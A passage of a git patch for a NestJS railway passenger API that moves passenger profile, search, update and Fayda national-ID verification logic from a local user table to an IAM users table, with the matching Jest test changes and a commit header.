@ApiPropertyOptional({ example: 'ET123456789' }) - @IsOptional() - @IsString() - nationalId?: string; - - @ApiPropertyOptional({ example: 'P1234567' }) - @IsOptional() - @IsString() - passportNumber?: string; + confirmPassword: string; } export class LoginDto { diff --git a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts index 3e09d2fe2..a0cf0040a 100644 --- a/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts +++ b/apps/edr-passenger-api/src/modules/auth/passenger-auth.service.ts @@ -13,7 +13,13 @@ import { EUserType } from '@tria-plc/api-common/utils/enums/user.enum'; import { PrismaService } from '../../common/prisma.service'; import { RegisterDto, LoginDto } from './auth.dto'; -type IamUserRow = { id: string; name: { en: string; am: string } | null; phone_number: string | null }; +type IamUserRow = { + id: string; + email: string; + name: { en: string; am: string } | null; + phone_number: string | null; + metadata: Record | null; +}; @Injectable() export class PassengerAuthService { @@ -33,7 +39,7 @@ export class PassengerAuthService { async register(dto: RegisterDto, req: any) { const existing = await this.dataSource.query<{ id: string }[]>( `SELECT id FROM iam.users WHERE email = $1 OR phone_number = $2 LIMIT 1`, - [dto.email, dto.phone], + [dto.email, dto.phoneNumber], ); if (existing.length) throw new ConflictException('Email or phone already registered'); @@ -41,16 +47,16 @@ export class PassengerAuthService { const { token, refreshToken } = await iamAuthService.signupWithPassword({ email: dto.email, - username: dto.email, - phoneNumber: dto.phone, + username: dto.username, + phoneNumber: dto.phoneNumber, userType: EUserType.INDIVIDUAL, - name: { en: dto.fullName, am: dto.fullName }, + name: dto.name, password: dto.password, - confirmPassword: dto.confirmPassword ?? dto.password, + confirmPassword: dto.confirmPassword, }); const iamRows = await this.dataSource.query( - `SELECT id, name, phone_number FROM iam.users WHERE email = $1 LIMIT 1`, + `SELECT id, email, name, phone_number, metadata FROM iam.users WHERE email = $1 LIMIT 1`, [dto.email], ); if (!iamRows.length) { @@ -61,16 +67,7 @@ export class PassengerAuthService { let passengerId: string; try { - const result = await this.provisionPassengerSatellite({ - iamUserId, - email: dto.email, - fullName: dto.fullName, - phone: dto.phone, - nationality: dto.nationality, - nationalId: dto.nationalId, - passportNumber: dto.passportNumber, - auditAction: 'USER_REGISTERED', - }); + const result = await this.provisionPassengerSatellite({ iamUserId, auditAction: 'USER_REGISTERED' }); passengerId = result.passengerId; } catch { await this.compensateIamSignup(dto.email); @@ -80,7 +77,7 @@ export class PassengerAuthService { return { token, refreshToken, - user: { id: iamUserId, iamUserId, email: dto.email, fullName: dto.fullName, passengerId }, + user: { id: iamUserId, iamUserId, email: dto.email, fullName: dto.name.en, passengerId }, }; } @@ -102,7 +99,7 @@ export class PassengerAuthService { const { token, refreshToken } = iamResult as { token: string; refreshToken: string }; const iamRows = await this.dataSource.query( - `SELECT id, name, phone_number FROM iam.users WHERE email = $1 LIMIT 1`, + `SELECT id, email, name, phone_number, metadata FROM iam.users WHERE email = $1 LIMIT 1`, [dto.email], ); const iamUser = iamRows[0]; @@ -117,12 +114,8 @@ export class PassengerAuthService { }); if (!passenger) { - const fullName = iamUser.name?.en ?? iamUser.name?.am ?? dto.email; const result = await this.provisionPassengerSatellite({ iamUserId: iamUser.id, - email: dto.email, - fullName, - phone: iamUser.phone_number ?? '', auditAction: 'USER_AUTO_PROVISIONED', }); passenger = { id: result.passengerId }; @@ -137,59 +130,11 @@ export class PassengerAuthService { private async provisionPassengerSatellite(data: { iamUserId: string; - email: string; - fullName: string; - phone: string; - nationality?: string; - nationalId?: string; - passportNumber?: string; auditAction: string; }): Promise<{ passengerId: string }> { return this.prisma.$transaction(async (tx) => { - // Check if a local User already exists (pre-IAM registration) - const existingUser = await tx.user.findFirst({ - where: { OR: [{ email: data.email }, { phone: data.phone }] }, - select: { id: true }, - }); - - if (existingUser) { - // User already exists — find their Passenger and stamp iamUserId - const existingPassenger = await tx.passenger.findFirst({ - where: { userId: existingUser.id }, - select: { id: true }, - }); - - if (existingPassenger) { - await tx.passenger.update({ - where: { id: existingPassenger.id }, - data: { iamUserId: data.iamUserId }, - }); - return { passengerId: existingPassenger.id }; - } - - // User exists but no Passenger yet — create just the Passenger + sub-records - const passenger = await tx.passenger.create({ - data: { userId: existingUser.id, iamUserId: data.iamUserId }, - }); - await tx.loyaltyAccount.create({ data: { passengerId: passenger.id } }); - await tx.walletAccount.create({ data: { passengerId: passenger.id } }); - return { passengerId: passenger.id }; - } - - // Brand new user — create the full satellite set - const user = await tx.user.create({ - data: { - email: data.email, - phone: data.phone, - fullName: data.fullName, - passwordHash: 'IAM_MANAGED', - nationality: data.nationality, - nationalId: data.nationalId, - passportNumber: data.passportNumber, - }, - }); const passenger = await tx.passenger.create({ - data: { userId: user.id, iamUserId: data.iamUserId }, + data: { iamUserId: data.iamUserId }, }); await tx.loyaltyAccount.create({ data: { passengerId: passenger.id } }); await tx.walletAccount.create({ data: { passengerId: passenger.id } }); @@ -200,7 +145,7 @@ export class PassengerAuthService { action: data.auditAction, entityType: 'User', entityId: data.iamUserId, - newData: { email: data.email, iamUserId: data.iamUserId }, + newData: { iamUserId: data.iamUserId }, }, }); return { passengerId: passenger.id }; @@ -214,26 +159,26 @@ export class PassengerAuthService { } async getProfile(iamUserId: string) { - const passenger = await this.prisma.passenger.findUnique({ - where: { iamUserId }, - include: { - user: true, - loyalty: true, - wallet: true, - }, - }); - if (!passenger) { - throw new Error('Passenger not found'); - } + const [passenger, iamRows] = await Promise.all([ + this.prisma.passenger.findUnique({ + where: { iamUserId }, + include: { loyalty: true, wallet: true }, + }), + this.dataSource.query( + `SELECT id, email, name, phone_number, metadata FROM iam.users WHERE id = $1 LIMIT 1`, + [iamUserId], + ), + ]); + + if (!passenger) throw new Error('Passenger not found'); + const iam = iamRows[0]; + return { iamUserId, - email: passenger.user?.email, - phone: passenger.user?.phone, - fullName: passenger.user?.fullName, - nationality: passenger.user?.nationality, - nationalId: passenger.user?.nationalId, - passportNumber: passenger.user?.passportNumber, - faydaVerified: passenger.user?.faydaVerified, + email: iam?.email ?? null, + phone: iam?.phone_number ?? null, + fullName: iam?.name?.en ?? iam?.name?.am ?? null, + faydaVerified: iam?.metadata?.faydaVerified ?? false, createdAt: passenger.createdAt, passenger: { id: passenger.id, diff --git a/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts b/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts index 96448aa80..08e056126 100644 --- a/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts +++ b/apps/edr-passenger-api/src/modules/bookings/guest-booking.service.ts @@ -153,13 +153,15 @@ export class GuestBookingService { if (dto.createAccount && firstPassenger.email && dto.password) { // Delegate full IAM account creation to PassengerAuthService + const guestName = firstPassenger.passengerName ?? 'Guest'; const result = await this.passengerAuthService.register( { - fullName: firstPassenger.passengerName, email: firstPassenger.email, - phone: firstPassenger.phone || `+guest-${Date.now()}`, + username: firstPassenger.email, + phoneNumber: firstPassenger.phone || `+251900000000`, + name: { en: guestName, am: guestName }, password: dto.password, - nationality: firstPassenger.nationality, + confirmPassword: dto.password, }, req, ); diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts index 362d1ccfe..904c82718 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts @@ -1,4 +1,6 @@ import { Injectable, NotFoundException, BadRequestException } from '@nestjs/common'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; import { PrismaService } from '../../common/prisma.service'; import { CreateTravelerProfileDto, CreateSavedRouteDto, RegisterPassengerDto } from './passengers.dto'; import { VerifaydaService } from '../verifayda/verifayda.service'; @@ -10,36 +12,68 @@ interface PassengerFilters { pageSize?: number; } +type IamUserRow = { + id: string; + email: string; + name: { en: string; am: string } | null; + phone_number: string | null; + metadata: Record | null; +}; + @Injectable() export class PassengersService { constructor( - private prisma: PrismaService, - private verifaydaService: VerifaydaService, + private readonly prisma: PrismaService, + @InjectDataSource() private readonly dataSource: DataSource, + private readonly verifaydaService: VerifaydaService, ) {} async findAll(filters: PassengerFilters = {}) { const { search, verified, page = 1, pageSize = 20 } = filters; const skip = (page - 1) * pageSize; - + + let iamUserIdFilter: string[] | null = null; + + if (search || verified !== undefined) { + const conditions: string[] = []; + const params: any[] = []; + let idx = 1; + + if (search) { + conditions.push(`( + u.email ILIKE $${idx} OR + u.phone_number ILIKE $${idx} OR + (u.name->>'en') ILIKE $${idx} OR + (u.name->>'am') ILIKE $${idx} + )`); + params.push(`%${search}%`); + idx++; + } + + if (verified !== undefined) { + if (verified) { + conditions.push(`u.metadata->>'faydaVerified' = 'true'`); + } else { + conditions.push(`(u.metadata IS NULL OR u.metadata->>'faydaVerified' IS DISTINCT FROM 'true')`); + } + } + + const rows = await this.dataSource.query<{ id: string }[]>( + `SELECT u.id FROM iam.users u WHERE ${conditions.join(' AND ')}`, + params, + ); + iamUserIdFilter = rows.map(r => r.id); + + if (iamUserIdFilter.length === 0) { + return { items: [], meta: { page, pageSize, total: 0, totalPages: 0 } }; + } + } + const where: any = {}; - - if (search) { - where.user = { - OR: [ - { fullName: { contains: search, mode: 'insensitive' } }, - { email: { contains: search, mode: 'insensitive' } }, - { phone: { contains: search, mode: 'insensitive' } }, - ], - }; + if (iamUserIdFilter) { + where.iamUserId = { in: iamUserIdFilter }; } - - if (verified !== undefined) { - where.user = { - ...where.user, - nationalId: verified ? { not: null } : null, - }; - } - + const [items, total] = await Promise.all([ this.prisma.passenger.findMany({ where, @@ -47,41 +81,38 @@ export class PassengersService { take: pageSize, orderBy: { createdAt: 'desc' }, include: { - user: { - select: { - id: true, - fullName: true, - email: true, - phone: true, - nationalId: true, - nationality: true, - }, - }, loyalty: true, - _count: { - select: { - bookings: true, - }, - }, + _count: { select: { bookings: true } }, }, }), this.prisma.passenger.count({ where }), ]); - + + const iamUserIds = items.map(p => p.iamUserId).filter(Boolean) as string[]; + const iamRows = iamUserIds.length > 0 + ? await this.dataSource.query( + `SELECT id, email, name, phone_number, metadata FROM iam.users WHERE id = ANY($1)`, + [iamUserIds], + ) + : []; + const iamMap = new Map(iamRows.map(r => [r.id, r])); + return { - items: items.map(passenger => ({ - id: passenger.id, - fullName: passenger.user?.fullName ?? null, - email: passenger.user?.email ?? null, - phone: passenger.user?.phone ?? null, - nationalId: passenger.user?.nationalId ?? null, - nationality: passenger.user?.nationality ?? null, - verified: !!passenger.user?.nationalId, - loyaltyTier: passenger.loyalty?.tier || 'BRONZE', - loyaltyPoints: passenger.loyalty?.pointsBalance || 0, - totalBookings: passenger._count.bookings, - createdAt: passenger.createdAt, - })), + items: items.map(passenger => { + const iam = passenger.iamUserId ? iamMap.get(passenger.iamUserId) : undefined; + const faydaVerified = iam?.metadata?.faydaVerified === true || iam?.metadata?.faydaVerified === 'true'; + return { + id: passenger.id, + fullName: iam?.name?.en ?? iam?.name?.am ?? null, + email: iam?.email ?? null, + phone: iam?.phone_number ?? null, + verified: faydaVerified, + loyaltyTier: passenger.loyalty?.tier || 'BRONZE', + loyaltyPoints: passenger.loyalty?.pointsBalance || 0, + totalBookings: passenger._count.bookings, + createdAt: passenger.createdAt, + }; + }), meta: { page, pageSize, @@ -92,33 +123,56 @@ export class PassengersService { } async getProfile(passengerId: string) { - - console.log("here"); - const p = await this.prisma.passenger.findUnique({ where: { id: passengerId }, include: { - user: { select: { fullName: true, email: true, phone: true } }, - bookings: { orderBy: { createdAt: 'desc' }, take: 10, include: { schedule: { include: { originStation: true, destinationStation: true, train: true } }, seats: { include: { seat: { include: { coach: { include: { seatClass: true } } } } } } } }, - loyalty: true, wallet: true, travelerProfiles: true, savedRoutes: true, + bookings: { + orderBy: { createdAt: 'desc' }, + take: 10, + include: { + schedule: { include: { originStation: true, destinationStation: true, train: true } }, + seats: { include: { seat: { include: { coach: { include: { seatClass: true } } } } } }, + }, + }, + loyalty: true, + wallet: true, + travelerProfiles: true, + savedRoutes: true, }, }); if (!p) throw new NotFoundException('Passenger not found'); + + let iamUser: IamUserRow | null = null; + if (p.iamUserId) { + const rows = await this.dataSource.query( + `SELECT id, email, name, phone_number, metadata FROM iam.users WHERE id = $1 LIMIT 1`, + [p.iamUserId], + ); + iamUser = rows[0] ?? null; + } + return { id: p.id, - fullName: p.user?.fullName ?? null, - email: p.user?.email ?? null, - phone: p.user?.phone ?? null, + fullName: iamUser?.name?.en ?? iamUser?.name?.am ?? null, + email: iamUser?.email ?? null, + phone: iamUser?.phone_number ?? null, createdAt: p.createdAt, bookings: p.bookings.map((b) => ({ - id: b.id, bookingRef: b.bookingRef, status: b.status, totalFare: b.totalMinor / 100, createdAt: b.createdAt, + id: b.id, + bookingRef: b.bookingRef, + status: b.status, + totalFare: b.totalMinor / 100, + createdAt: b.createdAt, trip: { number: b.schedule.train.number, origin: { id: b.schedule.originStation.id, name: b.schedule.originStation.name, code: b.schedule.originStation.code, city: b.schedule.originStation.city }, destination: { id: b.schedule.destinationStation.id, name: b.schedule.destinationStation.name, code: b.schedule.destinationStation.code, city: b.schedule.destinationStation.city }, departureAt: b.schedule.departureAt, }, - passengers: b.seats.map((bs) => ({ fullName: bs.passengerName, seat: { number: bs.seat.label, coach: bs.seat.coach.label, class: bs.seat.coach.seatClass?.name ?? 'N/A' } })), + passengers: b.seats.map((bs) => ({ + fullName: bs.passengerName, + seat: { number: bs.seat.label, coach: bs.seat.coach.label, class: bs.seat.coach.seatClass?.name ?? 'N/A' }, + })), })), }; } @@ -186,23 +240,53 @@ export class PassengersService { async updatePassenger(id: string, dto: any) { const passenger = await this.prisma.passenger.findUnique({ where: { id } }); if (!passenger) throw new NotFoundException('Passenger not found'); - return this.prisma.passenger.update({ - where: { id }, - data: { - user: { - update: { - fullName: dto.fullName || undefined, - email: dto.email || undefined, - phone: dto.phone || undefined, - nationality: dto.nationality || undefined, - }, - }, - }, - include: { - user: { select: { fullName: true, email: true, phone: true, nationality: true } }, - loyalty: true, - }, - }); + + if (passenger.iamUserId && (dto.fullName || dto.email || dto.phone)) { + const updates: string[] = []; + const params: any[] = []; + let idx = 1; + + if (dto.fullName) { + updates.push(`name = COALESCE(name, '{}') || jsonb_build_object('en', $${idx}::text, 'am', $${idx}::text)`); + params.push(dto.fullName); + idx++; + } + if (dto.email) { + updates.push(`email = $${idx}`); + params.push(dto.email); + idx++; + } + if (dto.phone) { + updates.push(`phone_number = $${idx}`); + params.push(dto.phone); + idx++; + } + + params.push(passenger.iamUserId); + await this.dataSource.query( + `UPDATE iam.users SET ${updates.join(', ')} WHERE id = $${idx}`, + params, + ); + } + + const [updated, iamRows] = await Promise.all([ + this.prisma.passenger.findUnique({ where: { id }, include: { loyalty: true } }), + passenger.iamUserId + ? this.dataSource.query( + `SELECT id, email, name, phone_number, metadata FROM iam.users WHERE id = $1 LIMIT 1`, + [passenger.iamUserId], + ) + : Promise.resolve([] as IamUserRow[]), + ]); + + const iamUser = iamRows[0] ?? null; + return { + id: updated!.id, + fullName: iamUser?.name?.en ?? iamUser?.name?.am ?? null, + email: iamUser?.email ?? null, + phone: iamUser?.phone_number ?? null, + loyalty: updated!.loyalty, + }; } async registerPassenger(dto: RegisterPassengerDto) { @@ -210,7 +294,6 @@ export class PassengersService { const isLoggedIn = !!dto.userId; let verifiedData: any = null; - // Auto-verify Ethiopian passengers with national ID if Fayda is enabled if (isEthiopian && dto.verifyWithFayda !== false) { try { const verification = await this.verifaydaService.verifyNationalId(dto.nationalId!); @@ -218,12 +301,10 @@ export class PassengersService { verifiedData = verification.passengerData; } } catch (error) { - // If verification fails, continue with manual data console.warn('Fayda verification failed, using manual data:', error); } } - // Use verified data if available, otherwise use provided data const finalData = { passengerName: verifiedData?.fullName || dto.passengerName, dateOfBirth: verifiedData?.dateOfBirth || new Date(dto.dateOfBirth), @@ -233,7 +314,6 @@ export class PassengersService { email: dto.email, }; - // If logged in, link passenger if (isLoggedIn) { const linkedPassenger = await this.prisma.passenger.findUnique({ where: { iamUserId: dto.userId }, @@ -254,7 +334,6 @@ export class PassengersService { }; } - // Guest user - save to SavedPassengerProfile const profile = await this.prisma.savedPassengerProfile.create({ data: { deviceId: dto.deviceId, @@ -283,7 +362,7 @@ export class PassengersService { async deletePassenger(id: string) { const passenger = await this.prisma.passenger.findUnique({ where: { id } }); if (!passenger) throw new NotFoundException('Passenger not found'); - + await this.prisma.passenger.delete({ where: { id } }); return { deleted: true, passengerId: id }; } @@ -305,4 +384,4 @@ export class PassengersService { affectedModules: usage, }; } -} \ No newline at end of file +} diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts index d3b2da044..da234d22c 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.spec.ts @@ -15,12 +15,6 @@ function buildPrismaMock() { bookingSeat: { updateMany: jest.fn(), }, - user: { - findUnique: jest.fn(), - findFirst: jest.fn(), - create: jest.fn(), - update: jest.fn(), - }, passenger: { create: jest.fn() }, loyaltyAccount: { create: jest.fn() }, walletAccount: { create: jest.fn() }, @@ -29,6 +23,10 @@ function buildPrismaMock() { }; } +function buildDataSourceMock() { + return { query: jest.fn().mockResolvedValue([]) }; +} + function buildConfig(overrides?: Partial): FaydaConfig { return { enabled: true, @@ -58,6 +56,7 @@ function buildConfigService(faydaConfig: FaydaConfig): jest.Mocked { let prisma: ReturnType; + let dataSource: ReturnType; let service: VerifaydaService; let realPrivateJwk: JWK; @@ -69,11 +68,12 @@ describe('VerifaydaService (OIDC, client-callback)', () => { beforeEach(() => { prisma = buildPrismaMock(); + dataSource = buildDataSourceMock(); const cfg = buildConfig({ privateJwk: realPrivateJwk as FaydaConfig['privateJwk'] }); service = new VerifaydaService( buildConfigService(cfg), prisma as unknown as PrismaService, - { query: jest.fn().mockResolvedValue([]) } as any, + dataSource as any, ); (global as any).fetch = jest.fn(); }); @@ -127,7 +127,7 @@ describe('VerifaydaService (OIDC, client-callback)', () => { const disabledService = new VerifaydaService( buildConfigService(buildConfig({ enabled: false })), prisma as unknown as PrismaService, - { query: jest.fn().mockResolvedValue([]) } as any, + buildDataSourceMock() as any, ); await expect( disabledService.startVerification({ purpose: 'PURCHASE' }), @@ -147,7 +147,7 @@ describe('VerifaydaService (OIDC, client-callback)', () => { status: 'PENDING', errorCode: null, errorDescription: null, - userId: null, + iamUserId: null, bookingId: null, expiresAt: new Date(Date.now() + 60_000), ...overrides, @@ -210,7 +210,7 @@ describe('VerifaydaService (OIDC, client-callback)', () => { platform: 'WEB', saveToAccount: false, status: 'PENDING', - userId: null, + iamUserId: null, bookingId: null, expiresAt: new Date(Date.now() + 60_000), ...overrides, @@ -262,12 +262,15 @@ describe('VerifaydaService (OIDC, client-callback)', () => { }); }); - it('saves to the User account when saveToAccount=true and no conflict', async () => { + it('saves to the IAM user account when saveToAccount=true and no conflict', async () => { prisma.faydaVerificationSession.findUnique.mockResolvedValue( - pendingSession({ userId: 'user-1', saveToAccount: true }), + pendingSession({ iamUserId: 'iam-user-1', saveToAccount: true }), ); - prisma.user.findFirst.mockResolvedValue(null); - prisma.user.update.mockResolvedValue({}); + // First dataSource.query = conflict check returns [] (no conflict) + // Second dataSource.query = UPDATE call returns [] + dataSource.query + .mockResolvedValueOnce([]) + .mockResolvedValueOnce([]); prisma.faydaVerificationSession.update.mockResolvedValue({}); mockFetchSequence( @@ -285,17 +288,24 @@ describe('VerifaydaService (OIDC, client-callback)', () => { }); expect(result.verified).toBe(true); - expect(prisma.user.update).toHaveBeenCalledWith({ - where: { id: 'user-1' }, - data: expect.objectContaining({ faydaVerified: true, faydaSub: 'fayda-sub-2' }), - }); + // conflict check: SELECT id FROM iam.users WHERE metadata->>'faydaSub' = ... + expect(dataSource.query).toHaveBeenCalledWith( + expect.stringContaining(`metadata->>'faydaSub'`), + ['fayda-sub-2', 'iam-user-1'], + ); + // update: SET metadata = COALESCE(metadata, '{}') || ... + expect(dataSource.query).toHaveBeenCalledWith( + expect.stringContaining('UPDATE iam.users SET metadata'), + expect.arrayContaining(['iam-user-1']), + ); }); - it('throws identity_conflict (409) when faydaSub belongs to another user', async () => { + it('throws identity_conflict (409) when faydaSub belongs to another IAM user', async () => { prisma.faydaVerificationSession.findUnique.mockResolvedValue( - pendingSession({ userId: 'user-1', saveToAccount: true }), + pendingSession({ iamUserId: 'iam-user-1', saveToAccount: true }), ); - prisma.user.findFirst.mockResolvedValue({ id: 'other-user' }); + // conflict check returns a conflicting row + dataSource.query.mockResolvedValueOnce([{ id: 'other-iam-user' }]); prisma.faydaVerificationSession.updateMany.mockResolvedValue({ count: 1 }); mockFetchSequence( @@ -310,7 +320,8 @@ describe('VerifaydaService (OIDC, client-callback)', () => { await expect( service.completeVerification({ code: 'authcode', state: 'state-abc' }), ).rejects.toMatchObject({ status: 409 }); - expect(prisma.user.update).not.toHaveBeenCalled(); + // UPDATE must not have been called + expect(dataSource.query).toHaveBeenCalledTimes(1); }); it('throws 502 when the token endpoint returns 4xx', async () => { @@ -384,7 +395,7 @@ describe('VerifaydaService (OIDC, client-callback)', () => { platform: 'WEB', saveToAccount: false, status: 'PENDING', - userId: null, + iamUserId: null, bookingId: null, expiresAt: new Date(Date.now() + 60_000), ...overrides, @@ -411,131 +422,41 @@ describe('VerifaydaService (OIDC, client-callback)', () => { (global as any).fetch = jest.fn(() => Promise.resolve(queue.shift())); } - /** user.findUnique answers the faydaSub lookup and the issueLoginToken id lookup. */ - function mockUserFindUnique(bySub: any, fullUser: any) { - prisma.user.findUnique.mockImplementation(async (args: any) => { - if (args?.where?.faydaSub !== undefined) return bySub; - if (args?.where?.id !== undefined) return fullUser; - return null; - }); - } - beforeEach(() => { prisma.faydaVerificationSession.findUnique.mockResolvedValue(loginSession()); }); - it('creates a new user but rejects legacy local token issuance', async () => { - const fullUser = { - id: 'new-user', - email: 'new@example.com', - role: 'PASSENGER', - passenger: { id: 'p-new' }, - agent: null, - }; - mockUserFindUnique(null, fullUser); - prisma.user.findFirst.mockResolvedValue(null); - prisma.user.create.mockResolvedValue({ id: 'new-user' }); - prisma.passenger.create.mockResolvedValue({ id: 'p-new' }); - prisma.loyaltyAccount.create.mockResolvedValue({}); - prisma.walletAccount.create.mockResolvedValue({}); - prisma.userPreferences.create.mockResolvedValue({}); - prisma.faydaVerificationSession.update.mockResolvedValue({}); - + it('always rejects with FAYDA_LOGIN_MIGRATED_TO_IAM (401)', async () => { mockLoginFetch({ sub: 'login-sub-1', name: 'New Person', email: 'new@example.com' }); - - await expect( - service.completeVerification({ - code: 'c', - state: 'state-login', - }), - ).rejects.toMatchObject({ status: 401 }); - expect(prisma.user.create).toHaveBeenCalledWith( - expect.objectContaining({ - data: expect.objectContaining({ - faydaSub: 'login-sub-1', - faydaVerified: true, - email: 'new@example.com', - }), - }), - ); - expect(prisma.passenger.create).toHaveBeenCalled(); - }); - - it('resolves an existing linked user but rejects legacy local token issuance', async () => { - const fullUser = { - id: 'known-user', - email: 'k@example.com', - role: 'PASSENGER', - passenger: { id: 'p-k' }, - agent: null, - }; - mockUserFindUnique({ id: 'known-user' }, fullUser); - prisma.faydaVerificationSession.update.mockResolvedValue({}); - - mockLoginFetch({ sub: 'login-sub-2', name: 'Known' }); - - await expect( - service.completeVerification({ - code: 'c', - state: 'state-login', - }), - ).rejects.toMatchObject({ status: 401 }); - expect(prisma.user.create).not.toHaveBeenCalled(); - }); - - it('links Fayda to an existing account matched by email but rejects legacy local token issuance', async () => { - const fullUser = { - id: 'acc-1', - email: 'match@example.com', - role: 'PASSENGER', - passenger: { id: 'p-1' }, - agent: null, - }; - mockUserFindUnique(null, fullUser); - prisma.user.findFirst.mockResolvedValue({ id: 'acc-1', faydaSub: null }); - prisma.user.update.mockResolvedValue({}); - prisma.faydaVerificationSession.update.mockResolvedValue({}); - - mockLoginFetch({ sub: 'login-sub-3', email: 'match@example.com' }); - - await expect( - service.completeVerification({ - code: 'c', - state: 'state-login', - }), - ).rejects.toMatchObject({ status: 401 }); - expect(prisma.user.update).toHaveBeenCalledWith( - expect.objectContaining({ - where: { id: 'acc-1' }, - data: expect.objectContaining({ faydaSub: 'login-sub-3' }), - }), - ); - expect(prisma.user.create).not.toHaveBeenCalled(); - }); - - it('throws identity_conflict (409) when matched account has a different faydaSub', async () => { - mockUserFindUnique(null, null); - prisma.user.findFirst.mockResolvedValue({ id: 'acc-2', faydaSub: 'someone-else' }); prisma.faydaVerificationSession.updateMany.mockResolvedValue({ count: 1 }); - mockLoginFetch({ sub: 'login-sub-4', email: 'match@example.com' }); - await expect( service.completeVerification({ code: 'c', state: 'state-login' }), - ).rejects.toMatchObject({ status: 409 }); - expect(prisma.user.update).not.toHaveBeenCalled(); - expect(prisma.user.create).not.toHaveBeenCalled(); + ).rejects.toMatchObject({ + status: 401, + response: expect.objectContaining({ code: 'FAYDA_LOGIN_MIGRATED_TO_IAM' }), + }); + }); + + it('does not touch the database for LOGIN purpose', async () => { + mockLoginFetch({ sub: 'login-sub-2', name: 'Person' }); + prisma.faydaVerificationSession.updateMany.mockResolvedValue({ count: 1 }); + + await expect( + service.completeVerification({ code: 'c', state: 'state-login' }), + ).rejects.toMatchObject({ status: 401 }); + expect(dataSource.query).not.toHaveBeenCalled(); + expect(prisma.passenger.create).not.toHaveBeenCalled(); }); }); describe('getVerificationStatus', () => { - it('returns verified=true when User row has the flag', async () => { - prisma.user.findUnique.mockResolvedValue({ - faydaVerified: true, - faydaVerifiedAt: new Date('2026-01-01T00:00:00Z'), - fullName: 'Test User', - }); - const result = await service.getVerificationStatus('user-1'); + it('returns verified=true when IAM user metadata has the flag', async () => { + dataSource.query.mockResolvedValueOnce([{ + metadata: { faydaVerified: true, faydaVerifiedAt: '2026-01-01T00:00:00.000Z' }, + name: { en: 'Test User', am: 'ቴስት ዩዘር' }, + }]); + const result = await service.getVerificationStatus('iam-user-1'); expect(result).toEqual({ verified: true, verifiedAt: new Date('2026-01-01T00:00:00Z'), @@ -543,9 +464,9 @@ describe('VerifaydaService (OIDC, client-callback)', () => { }); }); - it('returns verified=false when User row is missing or unverified', async () => { - prisma.user.findUnique.mockResolvedValue(null); - const result = await service.getVerificationStatus('user-x'); + it('returns verified=false when IAM user is missing or unverified', async () => { + dataSource.query.mockResolvedValueOnce([]); + const result = await service.getVerificationStatus('iam-user-x'); expect(result).toEqual({ verified: false }); }); }); diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts index 09e5c20f7..c42a0ce0c 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts @@ -250,50 +250,25 @@ export class VerifaydaService { } } - /** Loads a user (+ relations) and mints the same JWT shape as `/auth/login`. */ private async issueLoginToken( - userId: string, + _userId: string, ): Promise<{ token: string; user: FaydaUserSummary }> { - const user = await this.prisma.user.findUnique({ - where: { id: userId }, - include: { passenger: true, agent: true }, - }); - if (!user) { - // Should not happen — we just resolved/created this user. - throw new UnauthorizedException({ - code: 'FAYDA_LOGIN_FAILED', - message: 'Could not load the verified user', - }); - } - - const summary: FaydaUserSummary = { - id: user.id, - email: user.email, - role: user.role, - passengerId: user.passenger?.id, - agentId: user.agent?.id, - }; - - this.logger.warn( - `Legacy passenger Fayda login reached for user ${user.id}; use IAM /v1/auth Fayda login to issue tokens.`, - ); throw new UnauthorizedException({ code: 'FAYDA_LOGIN_MIGRATED_TO_IAM', message: 'Fayda login tokens are issued by the IAM package auth endpoints.', - user: summary, }); } async getVerificationStatus(iamUserId: string): Promise { - const passenger = await this.prisma.passenger.findUnique({ - where: { iamUserId }, - include: { user: { select: { faydaVerified: true, faydaVerifiedAt: true, fullName: true } } }, - }); - return { - verified: passenger?.user?.faydaVerified ?? false, - verifiedAt: passenger?.user?.faydaVerifiedAt ?? undefined, - fullName: passenger?.user?.fullName ?? undefined, - }; + const rows = await this.dataSource.query<{ metadata: Record | null; name: { en: string; am: string } | null }[]>( + `SELECT metadata, name FROM iam.users WHERE id = $1 LIMIT 1`, + [iamUserId], + ); + const iam = rows[0] ?? null; + const faydaVerified = iam?.metadata?.faydaVerified === true || iam?.metadata?.faydaVerified === 'true'; + const faydaVerifiedAt = iam?.metadata?.faydaVerifiedAt ? new Date(iam.metadata.faydaVerifiedAt) : undefined; + const fullName = iam?.name?.en ?? iam?.name?.am ?? undefined; + return { verified: faydaVerified, verifiedAt: faydaVerifiedAt, fullName }; } // ========================================================================== From 431b1c4f3cb7d888e16c07f4daf81f269cddcfd8 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Tue, 9 Jun 2026 13:54:38 +0300 Subject: [PATCH 12/51] refactor( iam ): replace prisma.user joins with batch IAM fetch in bookings, tickets, and payments e2e --- .../src/modules/bookings/bookings.service.ts | 73 ++++++++++------ .../src/modules/payments/payments.e2e-spec.ts | 7 +- .../src/modules/tickets/tickets.service.ts | 85 ++++++++++++------- 3 files changed, 100 insertions(+), 65 deletions(-) diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts index 64002782e..73f0269d0 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts @@ -1,4 +1,6 @@ import { Injectable, NotFoundException, BadRequestException } from '@nestjs/common'; +import { InjectDataSource } from '@nestjs/typeorm'; +import { DataSource } from 'typeorm'; import { PrismaService 